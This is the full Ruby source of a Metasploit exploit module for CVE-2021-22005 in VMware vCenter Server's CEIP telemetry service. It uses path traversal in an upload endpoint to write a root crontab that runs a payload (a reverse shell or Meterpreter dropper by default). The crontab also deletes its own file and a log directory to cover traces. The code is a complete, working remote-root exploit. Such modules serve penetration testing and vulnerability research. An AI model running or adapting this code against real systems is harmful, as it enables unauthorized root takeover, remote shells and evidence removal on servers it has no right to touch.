This Metasploit module exploits a file upload in VMware vCenter Server's analytics/telemetry (CEIP) service to write a system crontab and execute shell commands as the root user. Note that CEIP must be enabled for the target to be exploitable by this module. CEIP is enabled by default.
036b2591e4ef8beb3558c821f06ea5bf7c27f8226edd7019163d2a719de158ac
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server Analytics (CEIP) Service File Upload',
'Description' => %q{
This module exploits a file upload in VMware vCenter Server's
analytics/telemetry (CEIP) service to write a system crontab and
execute shell commands as the root user.
Note that CEIP must be enabled for the target to be exploitable by
this module. CEIP is enabled by default.
},
'Author' => [
'George Noseevich', # Discovery
'Sergey Gerasimov', # Discovery
'VMware', # Initial PoC
'Derek Abdine', # Analysis
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2021-22005'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html'],
['URL', 'https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis'],
['URL', 'https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/'],
['URL', 'https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee']
],
'DisclosureDate' => '2021-09-21',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'WfsDelay' => 60
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'),
'vars_get' => {
'_c' => ''
}
)
return CheckCode::Unknown unless res
unless res.code == 200 && res.body == '"FULL"'
return CheckCode::Safe('CEIP is not fully enabled.')
end
CheckCode::Appears('CEIP is fully enabled.')
end
def exploit
print_status('Creating path traversal')
unless write_file(rand_text_alphanumeric(8..16))
fail_with(Failure::NotVulnerable, 'Failed to create path traversal')
end
print_good('Successfully created path traversal')
print_status("Executing #{payload_instance.refname} (#{target.name})")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
print_warning("Please wait up to #{wfs_delay} seconds for a session")
end
def execute_command(cmd, _opts = {})
print_status("Writing system crontab: #{crontab_path}")
crontab_file = crontab(cmd)
vprint_line(crontab_file)
unless write_file("../../../../../../etc/cron.d/#{crontab_name}", crontab_file)
fail_with(Failure::PayloadFailed, 'Failed to write system crontab')
end
print_good('Successfully wrote system crontab')
end
def write_file(path, data = nil)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'),
'ctype' => 'application/json',
'vars_get' => {
'_c' => '',
'_i' => "/#{path}"
},
'data' => data
)
return false unless res&.code == 201
true
end
def crontab(cmd)
# https://man7.org/linux/man-pages/man5/crontab.5.html
<<~CRONTAB.strip
* * * * * root rm -rf #{crontab_path} /var/log/vmware/analytics/prod/_c_i/
* * * * * root #{cmd}
CRONTAB
end
def crontab_path
"/etc/cron.d/#{crontab_name}.json"
end
def crontab_name
@crontab_name ||= rand_text_alphanumeric(8..16)
end
end